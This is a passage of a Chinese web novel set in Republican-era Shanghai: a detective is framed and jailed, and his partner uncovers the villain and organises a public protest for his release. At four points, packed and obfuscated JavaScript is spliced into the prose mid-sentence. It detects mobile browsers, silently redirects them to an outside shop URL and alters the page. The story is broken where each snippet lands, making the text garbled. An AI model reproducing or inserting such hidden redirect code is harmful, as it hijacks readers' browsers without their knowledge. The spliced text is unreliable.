他突然抱住了她,像抱着绝世珍宝一般,水影眼中闪过一丝惊讶,却顺从地让他抱着,心想:他一定是太累了,怎么像个孩子似的。 “影影,”炎曜深深地吸了一口气,“我只想告诉你,我很爱你。” 水影一愣,不知他为什么突然表白,微笑道:“我知道,我也爱你。” 不,你不知道……此时的炎曜很想说,我爱你,比你想象的还要爱。 要是时间永远停留在这一瞬间就好了。 水影肩膀有些痛,也许是工作太久了,炎曜便坐在沙发上,让水影躺在他腿上,给她一下一下地捏肩膀。 “能让炎大督查亲自服侍,也不知我上辈子做了什么好事。”水影舒服地闭上眼睛。 炎曜被他逗笑了,刮了一下她的鼻子。 水影说:“等忙完暗夜组织的事情,我们就去旅游一趟吧,我想去洛阳看牡丹,以前从没有看过,都说‘唯有牡丹真国色,花开时节动京城’,我真想亲眼看看,是什么样子。” “好。”炎曜轻轻地搂着她,“我们一起去。” “之后呢,我还想去呼伦贝尔大草原上骑马,看风吹草低见牛羊的景象,一定终生难忘。” “好。”炎曜点头,喉结滚动,“还有吗?” 水影思索了一下,“你呢,你有什么想去的地方吗?” “我想去英国,看看母亲埋葬的地方,给她送一株花,听父亲说,她最爱的是鸢尾花,我想去看看她。” “我也想看看你母亲,她会喜欢我吗?” “当然,只要我喜欢,她一定会喜欢你的。” 水影伸出小拇指,做出拉钩的样子,“那么我们说好了。” 炎曜也伸出小指回应,两人大拇指相触,便代表不能反悔了。 “再然后呢?”水影抬起头,问。 炎曜一怔,只觉得如今的畅想太过奢侈,他沉吟了一下,“然后,我们就结婚吧。” 水影睫毛微闪,突然说:“我不要。” “嗯?”炎曜下巴微微抬起,连手指都停下了。 水影美眸眨了眨,“人家说婚姻是爱情的坟墓,你侬我侬的时候还好,可如果天天生活在一起,久而久之就没了激情,更没了神秘感,要是以后你厌烦了,又该怎样?” “你知道我不会的。” 炎曜嘴唇动了动,“如果我变心,你就诅咒我变成一只□□,天天在臭水沟里生活。” 水影笑了,“你这誓言也忒毒了些吧。” “可是,如果有一天我离你而去了,我希望你还是好好地生活,每天吃好喝好,就像现在这样。” 水影坐起身,不知他为何说这些,炎曜抿了抿嘴唇,“我是说如果。” “你要去哪里吗?不是说了我们要一起去吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177197|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “可是这个世界上,很多事情都是阴差阳错的,我就是害怕,万一生了变故……” 水影拉着他的手,将二人五指交缠在一起,“我知道你怕什么,你是不是怕暗夜组织会对我不利?可是我却不怕,这个世上,唯有公道二字最为厉害,什么事情都逃不过一个理字,我虽不信善有善报恶有恶报,却也相信,天网恢恢疏而不漏。他们做了那么多坏事,杀了那么多无辜的人,即使我们说算了,那些冤魂也不会说算了的,我相信,我们一定可以抓住暗夜组织头目,还上海滩以公平。” “好,我一定同你一起,将罪恶绳之以法。”炎曜点头,目光坚定道。 “等等,有一件东西给你。”水影突然想起了什么,去衣柜里拿出一个礼物盒。 是一件毛领皮大衣,水影特意去裁缝店订做的,她悄悄记下炎曜的尺寸,打算给他一个惊喜。 炎曜心中溢满了感动,轻轻地抚摸着大衣的面料,感受着水影带给他的那份温暖。他的母亲早逝,父亲也总是忙着做生意,平时很少管他,他的衣服都是管家派人订的,他从小就不喜与人亲近,管家对他也只是敬重,并没有多余的,所以炎曜对于感情这件事比一般人迟钝很多,如果没有遇到水影,也许他便要一辈子过孤家寡人的生活了,那该多单调无趣。 他突然感谢上天,让他遇到了她,这个他愿意用一生守护的女子。 “试试吧。”水影柔声说。 炎曜果然是天生的衣架子,他个子很高,穿上后比上海滩的男明星还要英气挺拔。 “谢谢,我会好好珍惜的。”炎曜轻声说,他心底里最柔软的那一片好像被水影牵引出来了,不禁有些哽咽。 阿凝今天做了许多菜,水影和炎曜好好吃了一顿,还开了一瓶香槟。 稍晚时分,炎曜准备离开。 他站在门口,似乎有些欲言又止,不知怎的,水影今天也有些依依不舍的,说不上来为什么。 “我走了。”炎曜转身,对着水影笑了一下。 看着他的背影,水影胸口一阵刺痛,那是一种不祥的预感。 水影有些不安,上次这种感觉还是家里婶婶去世的时候,婶婶是父亲弟弟的妻子,对她很好,总给她买玩具,几乎是看着她长大的,可那一天,水影就觉得胸口刺痛,晚上便听到了婶婶出车祸去世的消息…… “炎曜!” 鬼使神差的,水影向前两步,从后面搂住了炎曜的腰。 “怎么了?”炎曜一怔,语气是从未有过的温柔。 水影摇摇头,“没什么,也许是我这些天太累了吧,总觉得有些空落落的。” “傻瓜……”炎曜转身,抱住水影,“你一定要好好的,别让我担心。” 水影突然踮起脚,在他唇上印了一个吻。 这吻如雨打芭蕉似的,很快,也很急。 炎曜一怔,低头吻了上去,他们感受着彼此的呼吸与心跳,天地之大,仿佛只有他们两个人的存在。 时间在这一刻似乎凝固了,连外面的风雪都像变缱绻了。 …… “不早了,我真的得走了。”炎曜不舍地放开她。 水影看着他离开的背影,心里默默地想:希望明天能再见面。 很多时候就是这样,本以为是非常平凡的一天,却不知,命运早已在此时设下了玄机,我们仿佛是被命运推着走向了另一条岔路。 明天,将有一场惊变在等着她。 (本卷完) 114. 深渊凝视 无边的夜色中,一名黑袍男子隐于其中,仿佛与夜色融为一体,不仔细看,根本就发现不了有个人站在那里。 这时,一黑衣人轻烟似的来到他跟前,恭敬道:“尊主,事情都有办妥了。” “很好。”那人语气冰冷,带着上位者的威严。 “事情朝着越来越有意思的方向发展了,游戏,就快要开始了。” 他的笑声在夜色中十分瘆人,恍若疯魔。 “尊主,明日过后,挡您路的人都会被铲除干净,我们最终的‘暗夜计划’,终于可以实施了。” “炸弹已经埋好了?”他问。 “因为体量巨大,我们的人正昼夜不停地往那处运炸药,十天后就可以完成了。” “到时候,我要送这整个上海滩一个绝美的烟火,就像这样,‘砰’——”他做了一个爆炸的手势,很是期待的样子。 “恭喜尊主!到时候,您一定会成为上海滩的王。” “李皖那边,有消息了吗?” “今日收到了他的回信,他已经同意了尊主的计划,正带兵往上海滩赶来,到时候城里一乱,他便会出动军队占领整座城,到时候我们再做一出‘挟天子以令诸侯’的戏码,上海滩便是我们的囊中之物了。只是,他有一个条件。” “哼,这个黄口小儿,有什么条件?” “他说一定要护水影儿小姐的周全,到时候还请将人交给他。” “你答应了?”那人睨了他一眼,面色冰冷。 “属下觉得这不是什么大事,便答应了。”下属战战兢兢道。 他惨白的脸不置可否道:“覆巢之下,焉有完卵啊。” “是……是……”下属擦了擦冷汗,连声说道。 *** 第二日。 家里的电话响起,催魂夺命似的。阿凝接了电话,语气顿时充满了焦急。 “不好了,水小姐,炎督查被租界工部局抓走了。” 水影得知消息的时候,觉得整个工部局从上到下简直烂透了,整个公共租界谁不知炎曜的大名,可他们居然在这个关口将他抓了进去? 她赶到了巡捕房门口,值班的是老张,也是炎曜以前的下属,他却不让她进去探视,上面下了死命令,他们就像小虾米一样,怎么敢违背命令?老张能做的最多就是让炎曜在牢里能不挨饿受冻,其他的什么也做不了。 看到水影失落的样子,老张有些纠结,却还是告诉了她他所知道的消息:炎曜在下午就会被押送出租界,去到北洋政府管理的监狱,所以得赶紧联系那边的人才行。 水影失魂落魄地了离开,在街上漫步目的地走着,不知怎的却来到了周氏公馆。 公馆里有人在搬东西,好像要变卖出去,“你们好好搬,别把东西弄坏了!”白韵竹叉着腰,一身灰色呢子大衣,指挥着家丁丫鬟,她仿佛又恢复了往日的泼辣能干,看到水影,有些吃惊,又微笑了一下。 “你这是……” “事情尘埃落定了,我也决定和周润卿离婚了,离开这个伤心的地方。” “你要去哪里?” “我打算去欧洲游学,以后很少回来了。” 结婚之后,白韵竹逐渐适应了周润卿妻子的身份,可是她早就厌烦了,活得越来越不像自己,她可是白韵竹啊,那个自信洒脱、爱说爱笑的女子,而不是一个仰人鼻息的深闺妇人。 如今,是时候找回原本的自己了。 白韵竹耸耸肩,“你也知道,周润卿害的恒生银行差点倒台,人家说一日夫妻百日恩,我便卖了周公馆,替他平了这个窟窿,也算是为他做的最后一件事吧。这件事情已经人尽皆知了,我也不用藏着掖着了,人家爱怎么看就怎么看吧。” 周润卿因为渎职,违反银行规定被判坐牢五年,这事怎么也掩盖不了了。 白韵竹说:“我知道现在我家成了上海滩的笑柄,可那又怎样呢?以前我就是太在意别人的眼光了,所以才活得唯唯诺诺,越来越不像自己,现在我看清楚了,也想清楚了,日子是过给自己看的,从今以后,我再也不要活在他人的目光下了,那样太累了。以后,我要为自己而活。” “恭喜你,白女士!”水影也回以微笑,虽然她现在心情实在很差。 她是真的为她感到高兴,每个自由的灵魂都值得歌颂,不是么? 白韵竹走近了一步,“我也听说炎督查的事情了,说实话,这上海滩谁人不知道他的尽职尽责,可是老话说得好,水至清则无鱼,工部局那群人大多是尸位素餐之辈,只管自己眼前的一亩三分地,炎督查动了他们的利益,不愿意和光同尘,他们自然不会放过他。在上海滩混,让老百姓满意是最不重要的,最重要的是,要让上面的人满意。” 不可高声语,恐惊天上人。 这是一个病态的社会,正直善良的人没好报,小人贪蠹居然活得悠然自得。 唯一让水影感到欣慰的是,炎曜的父亲与水影的家人都去到了香港,否则暗夜组织一定会拿亲人威胁他们,那才是最难办的。 她必须让自己冷静下来,找到办法救炎曜出来。 “白女士,你在北洋政府高层有熟人吗?”虽然不好意思开口,可是她不能放过每一个救炎曜的机会。 白韵竹从钱包里递给水影一张名片:“我侄子白明礼在政府总办处当秘书长,他这官说大不大,说小也不小,代表高层主持全部行政事务,那些日常行政事务文件首先送交总办处理,你去找找他,打听一下上面的意思,也好对症下药。” “谢谢你。” 水影接过名片,她本不欲掺和到这些黑色的争斗中,只想好好查案,奈何树欲静而风不止,不知不觉已经卷入了棋盘之中,又怎能置之事外? *** 雪越下越大,水影一身黑色貂皮大衣,头戴同色绒帽,在白明礼下属的引领下来到了他的办公室。 “呦,是什么风把影儿小姐吹来了。”白明礼扶了扶黑框眼镜,起身招待道。 他刚满三十,一身灰色西服,文质彬彬的样子,本是水影的影迷,早就对她倾慕之极,水影退圈了还让他惋惜不已,没想到斯人却亲自到了他的办公室,真是做梦一般。 水影真人比电影里还要美貌,当真是活色生香,眉梢眼角又带着一股英气,实在是抓人眼球。 “我这次来……”水影红唇微动。 白明礼摆摆手,“你不说我也知道,是为了炎督查的事情吧。”姑母早就跟他打过电话交代了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187688|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他也不能揣着明白装糊涂。 白明礼示意水影坐下,要下属给她倒了一杯茶。 水影哪还有心情喝茶,“白先生,您如果需要我帮忙的地方,我一定倾其所有,只要我能给的,我一定会给。” 白明礼也不是趁人之危的人,“水小姐,不是我不帮,实在是力所不能。姑母很感谢水小姐在她狼狈时拉她一把,如果不是水小姐,姑母恐怕已经含冤入狱了,作为她的侄儿,我也会帮水小姐,算是帮姑母还一个人情,只是我职务比较敏感,所以能帮的实在有限。” 水影礼貌回应道:“我也不为难先生,只想问一句,上面到底想对炎曜怎么样?” “其实事情也没什么大不了,若只是贪污腐败还好说,最多罚罚钞票,再训诫一番就算了,可是私通革命党可是大罪,上面像要杀鸡儆猴一样,非说炎督查罪大恶极,看来是不能活了。” 他说话时一直注意水影的表情,可是事情就是这么严重,如果云淡风轻地说出来反倒不好,还不如叫她做好准备。 听到“不能活”三个字,水影只觉得心跳骤然加快,手指不由自主地扣住沙发把手中,她拿起茶杯想喝水,手却像不听使唤一般,最后也没喝水,而是放下茶杯,说:“怎么会……是上次的信件吗?可他不是已经和上面解释过了,明明是误会。” “不是的,这次事情很蹊跷,有人给工部局总裁威廉写了一封举报信,这举报信内容详实,还点出了炎曜父亲和革命党接头用的暗语,最后威廉引蛇出洞,果然抓住了炎曜。可炎曜父亲已经逃往了香港,既然是一家人,炎曜自然也是脱不了关系的,父债子偿,天经地义。” 威廉一直和炎曜不对付,如今还成了新当选的工部局总裁,他就像一个貔貅,只拿不吐,对于他来说,炎曜阻断了他收受好处,所以一直将炎曜当眼中钉,如今收到了匿名举报,又引蛇出洞,将炎曜成功抓获,当然要把事情做大,趁着这个好机会,除掉这颗刺。 原来竟是这样…… 暗夜组织布了好大一个局,他们肯定在革命党内部埋有奸细,如此里应外合,才让炎家背上了死罪。 水影不知道怎么回到了家,只觉得脚步虚浮,好像全身力气都被抽干了。 将自己关在房间,目光却落到了折扇上面。 扇子的谜题还没有破解,水影的目光却越来越深沉。世界此刻好像没了声音,只有她一人似的。也许是已经山穷水尽了,反而迸发了灵感。 扇子徐徐展开,里面有梅花,扁舟,和诗句。 扁舟被风浪卷入海中,暗示着那艘沉船,这艘船被暗夜组织炸毁,也让水影丢了性命。 “欲穷千里目,更上一层楼”,出自唐朝王之涣的笔下,诗的名字,叫《登鹳雀楼》,而鹳雀楼,正好在山西。 扇子上还有梅花,同时,梅也是姓氏,如果水影没记错的话,沉船上姓梅的唯有叫梅三霍的富豪,那人,正好来自山西! 所以陆菁儿想要传达的信息是,那伽王,也就是血魔,便是在沉船事故中假死的山西煤矿富商梅三霍! 原来他只是金蝉脱壳,好隐入暗处方便行动,不在明面上被人关注而已! 那张轮廓分明,面无血色的脸,水影分明是见过的。 115. 盟友加入 记忆又回到了那日回国的轮船上。 船上的工作人员举办了舞会,水影虽然不太感兴趣,但船上实在枯燥,这算得上是唯一的娱乐活动了,水影便也参加了。 水影手上拿一杯红酒,小酌了几口,一名男子却远远地朝她隔空敬了一杯酒。 不一会儿,那男子便来到了她身边,问:“美丽的小姐,能否与您跳一支舞?” 水影见他眉毛疏淡,眼眸狭长,神情倒是认真,也不好拒绝,便与他跳了一曲。 他左手小拇指没有了,水影也没见怪,毕竟每个人都有不想提起的经历。 舞毕后,水影有些闷,便去甲板吹风,那人也跟了过来。 “你这次回国有什么打算吗?”他随意问道。 水影抿了口酒,“希望能用专业报效祖国吧,如果有机会的话。你呢?” 他的目光突然望向了远方:“旧的秩序已然崩溃,需要有人去建立新的规则。” 水影被呛了一下,心想这人野心倒挺大,难道要造反不成? “一般这种事不是默默地去做吗?第一次见跟一个陌生人掏心窝子的。”水影并没有当回事,只是兀自喝了一口酒。 “没关系。”他淡淡道。 时至今日,水影才明白他那句“没关系”是什么意思,他早就计划了炸毁轮船,到时候船上除了暗夜组织的人不会有一人生还,所以和她说与不说都是一个结果,反正她马上就要永远地闭嘴了。 怪不得道别时,那人会以一种“可惜了”的眼神看她,如果那时她就知道这人会做出后面一系列的恶行,她在轮船上就会想方设法结束这一切,哪怕是和他同归于尽。 可惜,没有如果。 …… 打开窗户,雪花被狂风卷了进来,带来一室的冰冷。 刚才白明礼传来消息,炎曜被抓到了北洋政府管辖的监狱,在狱中受了大刑,依着他的傲气风骨,定是不会松口,想必还要继续受审。水影听到这个消息,心像针刺一般,他是那么一个骄傲的人,如今却在那么腌臜的地方受苦,而她在外面,却什么也做不了,只能白白担忧。 晚些时候,水影收到了杰克给她的纸条,是炎曜离开前给杰克的,他叮嘱道,如果自己晚上六点前还没回就将纸条亲自给水小姐,切记切记。 纸条上赫然写着“梅三霍”三个字。 原来,炎曜也破解了血魔的秘密。 可是,为什么偏偏这么巧,炎曜前脚破解了秘密,后脚就被捉走了……知道了血魔是谁又如何?她不还是孤军奋战,谁都指望不上? 水影只觉风雪将至,眼前白茫茫的一片。 如今山河破碎,暗夜未除,前路到底在何方? 突然想起陈子昂的一首诗,足以形容她此刻的心情—— 前不见古人,后不见来者。 念天地之悠悠,独怆然而涕下。 *** 事情往往就是这样,上天在绝望时总会给你一丝希望,就像打个巴掌再给一颗甜枣一样。 那天傍晚,水影收到了一封信。 记忆一下就回到了小时候,两个小丫头一起学写字,放学后,她们一人拿一根小木棍,在泥地里写,写完就擦掉,就这样反反复复的。 这是顾茉的笔迹,水影怎么都忘不掉。 顾茉说自己已经到了上海滩,约她在一处周记制衣店里见面。 根据约定的时间来到制衣店,水影并没有看到顾茉的影子,只看见一些样式别致的旗袍,有伙计见到水影,热情地要给她量尺寸,在量的过程中,突然笑着说:“老板最近又得了一些样式,要不去二楼看看,一定让您满意。” 他使了一个眼色,水影立即明白了他的意思。 二楼有个小阁楼,上楼梯时,水影心脏砰砰直跳,推开门,果然看到那个熟悉的脸庞。 “影儿,终于又见到你了!”顾茉见到水影,情不自禁给她了一个拥抱。 赫宅一别后,顾茉正式来到了广州参加革命,正当事业进行得如火如荼之时却听说炎曜被抓进去了,组织领导对她说,炎曜是炎白钰的儿子,炎家对于革命党有大恩,一定要救出炎曜,不要让其他革命党人寒心。 与顾茉同来的还有一位中年男人,大概五十岁左右,他便是一直与炎白钰联系的刘敬则。 顾茉知道水影和炎曜的关系,不用想也知道,水影如今一定心急如焚,她很想宽慰她,给她一些力量,便率先联系上水影,共同制定营救炎曜的方案。 水影有些欲言又止:“我听知情人说,革命党有人被抓了,这才供了炎曜出来。” 顾茉叹了口气,“实在是惭愧,没想到我们内部居然出了奸细,真是灯下黑……刘叔已经告诉我了,因为叛徒泄密才导致炎曜被抓,实在是可恶,已经有我们的同僚着手锄奸了,今天早上我刚得到了锄奸成功的消息。” “奸细身上是否有衔尾蛇的纹身?”水影问道。 顾茉颔首,“你猜的没错,他的尸身上有一条衔尾蛇,我们也听过暗夜组织的名号,却没想到他们恶毒至此,为了诬赖炎督查居然做到这种地步。” 水影愈发觉得,这是暗夜组织的圈套,他们一定觉得,炎曜如果死了,她也会心中大乱,更没有精力去管他们。这是一条一石二鸟的毒计,就等着他们跳下去。 越遇到这种情况,她越要冷静,否则就如了小人的意了。 刘敬则一身青色长衫,国字脸,给人庄重可靠之感,他说:“我和白钰兄年少相识,虽走上了不同的道路,却都有一颗救国救民的赤子之心。白钰兄一直支持我党事务,对于革命党捐钱捐物,实在是有大恩,如今他的独子因我们而入狱,我们万分抱歉,所以不惜一切代价也要救出他!” 顾茉点头,说:“如今炎督查被关在上海监狱,那里守备是一级的严密,平时连一只苍蝇都不放出来,我们还得从长计议才是。” “我也知道这事急不来,可是我听说炎曜在狱中受了刑,他们对于革命党那么凶残,一定上了很多手段,我担心……我担心他……”水影有些哽咽,眼眶一红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201452|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 顾茉安慰她说:“我很理解你的心情,他们一向将我们视作眼中钉肉中刺,恨不得除之而后快,如今炎督查因为这种罪名落入他们手中,实在是九死一生,可影儿,我希望你能振作起来,相信我们,我们一定会给你一个交代的。” 水影抿了抿唇,“我相信你们。” 如今,她能相信的也只有他们了,虽然她对他们这个组织不太了解,甚至可以说知之甚少,可是顾茉是她从小一起长大的,二人早已义结金兰,所以与其说相信他们这个组织,不如说水影是因为相信顾茉,才相信他们所有人。 “可是你也说了,上海监狱防备森严,我们如果强攻,肯定会杀敌一千,自损八百,到时候很有可能不光救不出炎曜,连自己也要赔进去。”水影不无担心道。 顾茉安慰她道:“你既然已经说相信我们了,我们一定不会让你失望,流血与牺牲在所难免,自从我们加入了革命党,就随时准备舍弃这条性命。” 刘敬则说:“这只是后手,如果能通过谈判将炎曜放出来,才是上策。” 谈判? 也对,都说国家没有永远的朋友,也没有永远的敌人,只有永远的利益。国家如此,人亦如此,很多时候,人与人交往的本质便是利益交换。这话虽然听起来有些冰冷,却不能否认。如果他们出的牌能够高于处死炎曜带来的价值,那边不可能不松口。 但是另一个问题便接踵而至,横亘在她的心头。 “北洋政府会听我们的吗?我们如今不是和租界要人,而是要直面北洋政府的压力。如果单纯是租界,花些小黄鱼(指金条)把人赎出来也就罢了。但是这次很奇怪,人被移送到了北洋政府的地盘,我们和那些人要人,难度更上了一层楼。” 这件案子透着古怪,一般来说,北洋政府并不能直接在租界内抓捕犯人,因为租界享有一定的法律管辖权,但是工部局总裁威廉为了置炎曜于死地,主动提出愿意将人犯交给政府,所以炎曜便被直接关到了上海监狱,也就是北洋政府的领地。而他们一向是憎恨革命党的,炎曜和这三个字扯上关系,就算不死也要掉层皮。 水影眼睛突然一亮,“如果我们借助舆论呢?” “舆论?” “正是!舆论的力量有时比你我想象的要更加强大,你们难道没听过一句话?‘防民之口甚于防川’。炎曜这些年为上海滩百姓的付出他们一定都看在眼里,我们可以组织民众游行,给政府施压,再三强调他是冤枉的,要求放了他。虽然可以预见,他们肯定不会那么容易答应,但是起码增加了谈判的可能,如果上了谈判桌,事情才会有所转机。” 水影一口气说了许多,一颗心也越来越安定下来,之前是她没想到方法,如今有了奔头,自然心静了不少。 “很好,就按你说的办!”刘敬则连连点头道。 “你们身份特殊,这件事情我会去找杰克和阿凝,你们就等我消息吧。”水影起身告辞,步伐都加快了不少。 她得赶紧回家做准备,成败在此一举。 116. 生命倒计时 监狱里,惨白的月光照了进来,炎曜躺在稻草堆上,嘴巴干涸,嗓子就像冒烟一般。身上被鞭子抽得满是血印,这还不是最糟糕的,连指甲都被拔去了,都说十指连心,今天他算是明白了。 他的生命好像陷入了倒计时,每一分每一秒都尤为珍贵。 看到那则寻人启事,父亲的话语言犹在耳。 去香港前,父亲说如果在报纸上看到了寻人启事,就说明他的上线遇到了棘手的麻烦,一定要去城南土地庙接头,那是座荒庙,平时很少人去,只有一些灾民在那里歇息。接头后,希望作为儿子的炎曜能尽其所能提供帮助,这是父亲对他最后的期望。 其实看到那条启事,炎曜也在犹豫到底要不要去,这是父亲的信仰,和他又有什么关系?可是如果不做的话,父亲的许多同僚可能会失去生命,炎曜敬重那些义士,不希望看到他们抛头颅洒热血,所以最后,他还是去了,即使冒着巨大的风险。 其实,他在最后还心存侥幸,然而事实却给他泼了一盆冷水。 果然是个圈套,工部局总裁威廉已经带人在那里等着他了。 炎曜刚到破庙门口,就被警务处的人团团围住,昔日听命于他的人,此刻却拿着枪口对准他。 在监狱里,行刑的狱卒曾对他说:“你爸爸炎白钰可真是老糊涂了,那么大一个老板,吃香的喝辣的,过得多舒服,居然和‘革命’扯上关系,这是普通人敢做的吗?这可是掉脑袋的营生!” 炎曜却说:“为了天下黎民百姓,虽九死其尤未悔。” …… 炎曜之前破获了许多案子,很多人因为他而沉冤得雪,这也在无形中拯救了许多家庭。 水影、杰克和阿凝联系了许多因炎曜而受益的人们,他们本来听说炎曜有难,都争先恐后地想为他伸冤,可是一听到罪名是“私通革命党”,又犹豫了起来,有的干脆闭门谢客了。在这个时代,私通革命党是大罪,全家被杀都是轻的,他们虽然接受过炎曜的帮助,却不想和这份罪名产生联系。 忙活了一天,几乎一无所获,阿凝有些沮丧,“这些人也真是的,嘴上对炎督查感激涕零的,可是一要他们签字游行就都像缩头乌龟似的,民智未开,我看炎督查以前的心血都白费了,真是太让人失望了!” 水影虽然郁闷,却安慰阿凝说:“人家帮我们是情分,不帮是本分,炎曜做得很好,我相信人心是肉长的,我们明天再去劝说一下吧。” 杰克也叹了口气,却又想到了什么,说:“可这样下去不是办法,要不我们举办一场演讲吧,手写信件,从门缝里塞给这些人,将他们聚集在一起。” 水影眼前一亮,“倒是个好办法,在演讲里,我会向他们保证绝不牵连他们,让政府不要冤枉好人。” 阿凝有些犹豫,“可是,我们真的能保证警务处不伤害无关百姓吗?” “在此之前,我们还要找个人,促成此事,得到了他的承诺,便万无一失了。” *** 翌日。 演讲定在早上九点,在城隍庙旁的小礼堂举行。 可九点一到,连个人影都没有,冷冷清清的,安静得可怕,甚至连根针掉在地上的声音都听得清。 “水小姐,怎么办啊,别说是人了,连个鬼影都没看到……”杰克很有些丧气,他甚至在想,如果炎督查这次真的有什么事,他怎么对得起他外公的托付。他甚至想要不要通过英国领事馆联系万里外的炎曜外公,由他出面,说不定有转机,可是时间太紧了,等联系到他外公,说不定黄花菜都凉了,也不是个好办法。 时间一晃已经到了九点半,就在水影快要泄气的时候,一个老太太在儿子的搀扶下来到了小礼堂。 她咳嗽了一声,说:“我前些天生病了,儿子一直在旁边照顾我,今早才从儿子的嘴里说你们昨天来了,我这逆子居然没答应给炎督查请命,真是气死我了,便紧赶慢赶来到了礼堂。” 中年男子脸红的像苹果,“妈,是我太懦弱了。” 老太太抓着水影的手,说:“要不是炎督查,我这儿子就被人当□□犯枪毙了,哪有如今的好日子?我活了几十年,在我们弄堂还有点威望,便发动了街坊邻里,他们一会儿就过来!” “谢谢您!”水影扶老太太坐下。 这世上锦上添花易,雪中送炭却难,果然还是有感恩之心的人。 小礼堂陆陆续续地被坐满了一半,阿凝赶忙去招呼他们,水影深吸一口气,准备上台。 这时,拐角处又来了一个年轻男子,正是水影之前的搭档谢非,他的身后还跟了一些影迷,其中一些也是水影的影迷。 “影儿,好久不见。”他朝水影笑笑,“我昨天在外面出差,经纪人打了电话才发现出了那么大的事情,便放下手里的活赶来了,要不是炎督查,我早就被歹徒害死了,就算不死也会疯掉,所以这份恩情,在炎督查有难的时候,我必须报答!否则,我真的不会原谅自己。” 他顿了顿,又指了指身后的影迷,“他们也都听了你和炎督查的故事,被炎督查的品性所感动,他一直以保护上海滩为己任,我们也愿意贡献出自己的一份力量,他在需要帮助的时候,保护他一次。” 这时,赵静雅夫妇也带了九龙村的村民过来,他们是从报纸上得到的消息,路上耽误了许久才赶到上海滩,他们说,如果不是炎督查,九龙村枉死的村民一定不会得到安息,所以他们一定要过来,即使路途遥远,也要尽自己的努力给炎督查造声势。 水影的眼眶有些湿润,只觉得心中涌过一阵暖流,“感谢大家!真的很感谢你们!大恩大德,我一定不会忘记!”水影由衷地说道。 礼堂一下子座无虚席,杰克和阿凝还加了一些板凳,才勉强坐下。 水影走上讲台,她本来准备了稿子,如今也放在了一旁,在她看来,实在有太多的话想说了,演讲前已经演练了几十遍,甚至不需要稿子都能倒背如流了。 “大家好,多谢大家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211780|122837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次过来,我替炎曜谢谢大家!” 水影离开话筒两步,向下面的群众深深地鞠了一个躬。 “这是我们应该做的!” “对!我们愿意!” 台下人声音此起彼伏,一时间气氛很是热烈。 水影清了清嗓子,高声道:“今日我们聚集在这里,便是商讨明日的游行,北洋政府诬陷忠良,只凭在破庙遇到炎曜就诬陷他,还用了大刑,就为逼他承认莫须有的罪行。君不见炎曜自从入职警务处,一生清廉,只想为老百姓办事实,可谓是鞠躬尽瘁,可他们居然连这也容不下。我知道,他的正直与刚正阻挡了很多人的财路,他们见不得炎曜好,早就恨得牙痒了,这次抓到了纰漏,终于露出了可憎的面目。” 水影顿了顿,用坚定的目光扫视一圈,台下群众都侧耳倾听,很入神的样子。 她继续说:“可是,上海滩需要炎曜这样的人,这个世道也需要他这种人,如果让恶人只手遮天,到时候不光危害的是他,整个上海滩都会陷入黑暗。都说上梁不正下梁歪,如果上位者不体察民情,而是互相内斗,为官者不行得正坐得直,上海滩迟早会乱套。我在这里拜托大家,向北洋政府提出诉求,放炎曜出来,也好让坐在上面的人看看,这世上不全是昏庸懦弱之辈,多的是热血的实干家!” 水影的声音清脆悦耳,说出来的话更是掷地有声,振聋发聩。 “可是万一,巡捕房朝我们开枪呢,到时候岂不是小命不保……”老太太的儿子嘟哝了一句,他的声音不大,却因为坐在第一排,有不少人听到了。 “你个孽障!”老太太说着就去掐他耳朵,“怎么火烧眉毛了还在想自己的安危?!” “妈,别掐了,疼……疼……”儿子只好闭嘴。 众人虽然嘴上不说,可老太太的儿子说出了许多人的心声,他们不是没见过游行的场面,十年前,工人罢工游行遭到了血腥的镇压,仍是压在他们心头的乌云,他们其中的很多人都是上有老下有小,如果真的有什么不测,家人该怎么办?这都是需要考虑的问题。 